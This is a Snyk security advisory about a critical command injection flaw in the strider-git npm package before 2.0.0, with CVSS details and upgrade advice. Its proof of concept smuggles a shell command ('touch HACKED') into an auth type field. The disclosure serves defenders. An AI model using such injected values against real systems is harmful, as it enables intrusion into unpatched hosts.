Command Injection Affecting strider-git package, versions <2.0.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-STRIDERGIT-572913
  • published 7 Jul 2020
  • disclosed 21 Jun 2020
  • credit Mik317

Introduced: 21 Jun 2020

CVE NOT AVAILABLE CWE-78 Open this link in a new tab

How to fix?

Upgrade strider-git to version 2.0.0 or higher.

Overview

strider-git is a Strider provider for git repositories

Affected versions of this package are vulnerable to Command Injection.

PoC

var git = require("strider-git/lib");
git.getBranches({auth:{type:'ssaas;touch HACKED; ', privkey:'sss'}, url:'http://sss'}, '', function(){})

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High